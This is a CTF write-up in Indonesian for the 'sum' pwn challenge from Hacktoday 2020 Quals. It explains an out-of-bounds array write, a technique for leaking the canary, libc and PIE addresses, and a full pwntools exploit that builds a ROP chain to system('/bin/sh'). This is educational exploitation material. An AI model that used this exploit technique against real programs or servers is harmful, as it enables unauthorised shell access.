4 minutes
Hacktoday 2020 (Quals) - sum
this challenge was created by me
Overview
Diberikan sebuah file libc 2.31 dan binary dengan proteksi sebagai berikut:
Berikut hasil dekompilasi fungsi main
:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+1Fh] [rbp-61h]
int v5; // [rsp+20h] [rbp-60h]
int i; // [rsp+24h] [rbp-5Ch]
__int64 v7; // [rsp+28h] [rbp-58h]
int s[18]; // [rsp+30h] [rbp-50h]
unsigned __int64 v9; // [rsp+78h] [rbp-8h]
v9 = __readfsqword(0x28u);
v7 = 0LL;
init(*(_QWORD *)&argc, argv, envp);
banner();
do
{
v7 = 0LL;
memset(s, 0, 0x40uLL);
printf("n: ", 0LL);
__isoc99_scanf("%d", &v5);
for ( i = 0; i < v5; ++i )
{
printf("%d. ", (unsigned int)(i + 1));
__isoc99_scanf("%d", &s[i]);
v7 += s[i];
}
printf("= %ld\n\n", v7);
printf("[Y/n]? ");
while ( getchar() != '\n' )
;
__isoc99_scanf("%c", &v4);
}
while ( v4 == 'y' || v4 == 'Y' );
return 0;
}
Program tersebut akan meminta input n, dan n buah bilangan. N buah bilangan tersebut akan disimpan di dalam sebuah array integer. Bilangan-bilangan tersebut akan ditambahkan secara satu persatu ke dalam variabel v7, setelah itu akan mencetak hasil dari penjumlahan bilangan-bilangan tersebut. Dan terakhir, terdapat option apakah akan melakukan perhitungan lagi atau tidak.
Vulnerability
Lalu dimana letak vulnerabilitynya? Ya, tidak ada batasan nilai n sehingga dapat menyebabkan out of bound pada array. Dengan begitu kita dapat mengoverwrite saved RIP fungsi main.
Exploit
Leak dapat dilakukan dengan menginputkan nilai yang bukan angka pada saat bagian yang akan dileak tersebut akan dioverwrite. Pada saat __isoc99_scanf("%d", &v5)
menerima nilai yang bukan angka (contoh: ‘a’, ‘!', dll), maka nilai tersebut tidak akan mengoverwrite sesuatu. Dengan cara itulah kita meleak nantinya, karena bagian yang akan dileak tidak akan teroverwrite dengan apapun. Leak akan dilakukan dengan membagi nilai tersebut secara 4 byte 4 byte, hal itu dilakukan karena program tersebut 64bit sedangkan besar elemen arraynya masing-masing 4 byte. Sebelum memasukkan nilai yang bukan angka, kita masukkan semuanya nol, ini digunakan untuk mempermudah saat leak. Karena jika nol, pada saat leak akan langsung menampilkan nilai leak yang diinginkan dan tidak perlu melakukan kalkulasi lagi. Leak bisa saja bernilai negatif, maka dari itu kita membutuhkan bantuan fungsi c_uint
dari library ctypes untuk mengubahnya ke unsigned integer.
def leak(offset):
p.sendlineafter('n: ', '{}'.format(offset + 1))
for i in range(offset):
p.sendlineafter('. ', '0')
p.sendlineafter('. ', 'a')
p.recvuntil('= ')
leak1 = c_uint(int(p.recvline(0), 10)).value
p.sendlineafter('?', 'y')
p.sendlineafter('n: ', '{}'.format(offset + 2))
for i in range(offset + 1):
p.sendlineafter('. ', '0')
p.sendlineafter('. ', 'a')
p.recvuntil('= ')
leak2 = c_uint(int(p.recvline(0), 10)).value
p.sendlineafter('?', 'y')
leak = (leak2 << 32) + leak1
return leak
Namun karena binary ini memiliki beberapa proteksi seperti pie dan canary, kita harus leak mereka terlebih dulu.
canary = leak(18)
libc.address = leak(22) - 0x270b3
elf.address = leak(30) - 0x9d2
Setelah mendapatkan leak canary, libc address, dan pie kita dapat menyusun ropchain untuk memanggil system(“/bin/sh”)
. Namun sebelum jump ke system kita perlu jump ke instruksi ret terlebih dahulu karena ada misalignment, jika tidak jump ke ret maka akan terjadi segmentation fault.
pop_rdi = elf.address + 0x0000000000000ba3
ret = pop_rdi + 1
binsh = next(libc.search('/bin/sh'))
log.info('/bin/sh @ {}'.format(hex(binsh)))
p.sendlineafter('n: ', '30')
for i in range(18):
p.sendlineafter('. ', '0')
p.sendlineafter('. ', str(canary & 0xFFFFFFFF))
p.sendlineafter('. ', str(canary >> 32))
p.sendlineafter('. ', '0')
p.sendlineafter('. ', '0')
p.sendlineafter('. ', str(pop_rdi & 0xFFFFFFFF))
p.sendlineafter('. ', str(pop_rdi >> 32))
p.sendlineafter('. ', str(binsh & 0xFFFFFFFF))
p.sendlineafter('. ', str(binsh >> 32))
p.sendlineafter('. ', str(ret & 0xFFFFFFFF))
p.sendlineafter('. ', str(ret >> 32))
p.sendlineafter('. ', str(libc.sym['system'] & 0xFFFFFFFF))
p.sendlineafter('. ', str(libc.sym['system'] >> 32))
p.sendlineafter('?', 'n')
Full exploit code
from pwn import *
from ctypes import *
import sys
BINARY = './chall'
con = 'nc chall.codepwnda.id 17011'
if(con):
con = con.split(' ')
HOST = con[1]
PORT = con[2]
elf = ELF(BINARY, checksec=False)
argv = sys.argv
# context.terminal = 'gnome-terminal -e'.split()
context.terminal = 'tmux splitw -h -p 70'.split()
#context.log_level = 'DEBUG'
libc = ELF('./libc-2.31.so', checksec=False)
def leak(offset):
p.sendlineafter('n: ', '{}'.format(offset + 1))
for i in range(offset):
p.sendlineafter('. ', '0')
p.sendlineafter('. ', 'a')
p.recvuntil('= ')
leak1 = c_uint(int(p.recvline(0), 10)).value
p.sendlineafter('?', 'y')
p.sendlineafter('n: ', '{}'.format(offset + 2))
for i in range(offset + 1):
p.sendlineafter('. ', '0')
p.sendlineafter('. ', 'a')
p.recvuntil('= ')
leak2 = c_uint(int(p.recvline(0), 10)).value
p.sendlineafter('?', 'y')
leak = (leak2 << 32) + leak1
return leak
def exploit():
canary = leak(18)
log.info('canary : {}'.format(hex(canary)))
libc.address = leak(22) - 0x270b3
log.info('libc base @ {}'.format(hex(libc.address)))
elf.address = leak(30) - 0x9d2
log.info('pie base @ {}'.format(hex(elf.address)))
pop_rdi = elf.address + 0x0000000000000ba3
ret = pop_rdi + 1
binsh = next(libc.search('/bin/sh'))
log.info('/bin/sh @ {}'.format(hex(binsh)))
p.sendlineafter('n: ', '30')
for i in range(18):
p.sendlineafter('. ', '0')
p.sendlineafter('. ', str(canary & 0xFFFFFFFF))
p.sendlineafter('. ', str(canary >> 32))
p.sendlineafter('. ', '0')
p.sendlineafter('. ', '0')
p.sendlineafter('. ', str(pop_rdi & 0xFFFFFFFF))
p.sendlineafter('. ', str(pop_rdi >> 32))
p.sendlineafter('. ', str(binsh & 0xFFFFFFFF))
p.sendlineafter('. ', str(binsh >> 32))
p.sendlineafter('. ', str(ret & 0xFFFFFFFF))
p.sendlineafter('. ', str(ret >> 32))
p.sendlineafter('. ', str(libc.sym['system'] & 0xFFFFFFFF))
p.sendlineafter('. ', str(libc.sym['system'] >> 32))
p.sendlineafter('?', 'n')
p.interactive()
if __name__ == '__main__':
p = process(BINARY)
if len(argv) > 1:
if argv[1] != 'd':
p = remote(HOST, PORT)
else:
cmd = '''
'''
gdb.attach(p, cmd)
exploit()